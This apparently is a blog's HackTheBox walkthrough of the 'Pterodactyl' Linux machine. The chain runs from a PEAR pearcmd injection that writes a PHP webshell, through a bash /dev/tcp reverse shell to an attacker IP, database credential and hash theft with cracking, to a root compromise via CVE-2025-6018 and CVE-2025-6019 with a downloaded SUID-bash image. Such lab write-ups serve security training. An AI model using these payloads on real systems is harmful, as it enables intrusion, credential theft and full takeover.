MysticHackersBlog

Pterodactyl — HackTheBox Writeup


Difficulty: Medium | OS: Linux | IP: 10.129.4.94


Machine Overview

Pterodactyl is a Linux machine running the Pterodactyl Panel game server management software. Initial access is achieved through a PEAR LFI/RCE chain that allows writing a PHP webshell, followed by credential extraction from the database. Privilege escalation chains two CVEs together: CVE-2025-6018 (PAM environment injection) and CVE-2025-6019 (udisks LPE via libblockdev), ultimately leading to a SUID bash root shell.


Reconnaissance

Add the following to /etc/hosts:

10.129.4.94  pterodactyl.htb panel.pterodactyl.htb

Initial Access — PEAR RCE to Webshell

The Pterodactyl Panel is vulnerable to a PEAR pearcmd injection via the locale parameter, allowing file write to the web root.

Step 1 — Create a PHP webshell (no spaces)

curl -g "http://panel.pterodactyl.htb/locales/locale.json?+config-create+/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=\`\$_GET[0]\`;?>+/var/www/pterodactyl/public/sh.php"

Step 2 — Verify the webshell works

curl "http://panel.pterodactyl.htb/sh.php?0=id"

Output confirms execution as uid=474(wwwrun) gid=477(www).

Step 3 — Start a listener and trigger a reverse shell

nc -lvnp 4444
curl -g "http://panel.pterodactyl.htb/sh.php?0=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.16.79/4444+0>%261'"

Step 4 — Stabilize the shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Shell obtained as wwwrun@pterodactyl.


Credential Extraction

Step 1 — Read the .env file

cat /var/www/pterodactyl/.env

Key credentials found:

DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel

Step 2 — Connect to the database

mariadb -u pterodactyl -pPteraPanel -h 127.0.0.1 panel

Step 3 — Dump user password hashes

SELECT id, username, email, password FROM users;

Output:

| 2 | headmonitor  | [email protected]  | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |
| 3 | phileasfogg3 | [email protected] | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |

Step 4 — Crack the hashes (bcrypt, mode 3200)

cat > hashes.txt << 'EOF'
headmonitor:$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
phileasfogg3:$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi
EOF

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Result:

!QAZ2wsx    (phileasfogg3)

Step 5 — SSH login

ssh [email protected]
# Password: !QAZ2wsx

Step 6 — User Flag

phileasfogg3@pterodactyl:~> cat ~/user.txt
[redacted]

Privilege Escalation — CVE-2025-6018 + CVE-2025-6019

Root requires chaining two CVEs:

  • CVE-2025-6018 — PAM .pam_environment injection to obtain allow_active status
  • CVE-2025-6019 — udisks LPE via a malicious XFS image containing a SUID bash binary

Why both CVEs are needed

CVE-2025-6018 aloneCVE-2025-6019 alone
Resultallow_active status only (can reboot/shutdown)Blocked: Not authorized to perform operation
Root shell?❌ No❌ No
Combined✅ Full root

CVE-2025-6018 tricks PolicyKit into believing the user is physically present at the machine by injecting XDG session variables. This grants allow_active status, which CVE-2025-6019 then leverages to mount a crafted XFS image via udisksctl — the image contains a SUID root bash binary.


Phase 1 — CVE-2025-6018: PAM Environment Injection

Run the exploit from your attacker machine:

python3 CVE-2025-6018.py -i 10.129.4.94 -u phileasfogg3 -p '!QAZ2wsx'

Expected output:

[INFO] Vulnerable PAM version detected: pam-1.3.0
[INFO] pam_env.so configuration found
[INFO] pam_systemd.so found - escalation vector available
[INFO] Malicious environment file created successfully
[INFO] Reconnecting to trigger PAM environment loading
[INFO] PRIVILEGE ESCALATION DETECTED: SystemD Reboot
[INFO] PRIVILEGE ESCALATION DETECTED: SystemD Shutdown
[INFO] EXPLOITATION SUCCESSFUL - Privilege escalation confirmed
[INFO] Starting interactive shell session
--- Interactive Shell ---
exploit$

Important: The .pam_environment file only takes effect in new SSH sessions. The exploit automatically reconnects to trigger it. Do not close this exploit$ shell — Phase 2 must be run from inside it.

Verify the allow_active status from the exploit shell:

gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot

Expected: ('yes',)


Phase 2 — CVE-2025-6019: LPE via udisks/libblockdev

Run all commands below from inside the exploit$ shell obtained in Phase 1.

The exploit requires an xfs.image file prepared on the attacker machine and transferred to /tmp on the target.

Prepare the XFS image on your attacker machine:

dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs xfs.image
sudo mount xfs.image /mnt/temp
sudo cp /bin/bash /mnt/temp/bash
sudo chmod 4755 /mnt/temp/bash
sudo umount /mnt/temp

Transfer to target:

# On attacker
python3 -m http.server 8000

# In exploit$ shell on target
cd /tmp
wget http://10.10.16.79:8000/xfs.image
wget http://10.10.16.79:8000/CVE-2025-6019.sh
chmod +x CVE-2025-6019.sh

Create the fake mkfs.xfs stub (required by the script):

echo '#!/bin/bash' > /tmp/mkfs.xfs
chmod +x /tmp/mkfs.xfs
export PATH=/tmp:$PATH

Run the exploit:

bash CVE-2025-6019.sh

When prompted: type y then select C (Cible/Target).

Expected output:

[+] allow_active status confirmed.
[+] Loop device configured: /dev/loop0
[+] Background loop started (PID: 16991)
[+] Mount successful (expected error: target is busy).
[+] SUID bash found: /tmp/blockdev.1M1KK3/bash
-rwsr-xr-x 1 root root 1446024 Feb  8 20:49 /tmp/blockdev.1M1KK3/bash
[*] Executing root shell...
bash-5.2#

Root Flag

bash-5.2# whoami
root
bash-5.2# cat /root/root.txt
[redacted]

Attack Path Summary

PEAR pearcmd LFI → PHP webshell (wwwrun)
       ↓
Reverse shell as wwwrun
       ↓
.env → DB credentials → MariaDB
       ↓
Hash dump → John → phileasfogg3 : !QAZ2wsx
       ↓
SSH login → user flag
       ↓
CVE-2025-6018 → .pam_environment injection → allow_active status
       ↓
CVE-2025-6019 → udisksctl + XFS image → SUID bash
       ↓
bash -p → root shell → root flag

CVE Summary

CVEComponentTypeImpact
CVE-2025-6018Linux PAM pam_env.soEnvironment variable injectionallow_active PolicyKit status
CVE-2025-6019udisks2 / libblockdevLPE via loop device mountSUID root bash — full root

Tools Used

ToolPurpose
curl + PEAR pearcmdPHP webshell creation
ncReverse shell listener
mariadbDatabase credential extraction
johnbcrypt hash cracking
CVE-2025-6018.pyPAM environment injection
CVE-2025-6019.shudisks LPE exploit
udisksctlLoop device management

HackTheBox — Pterodactyl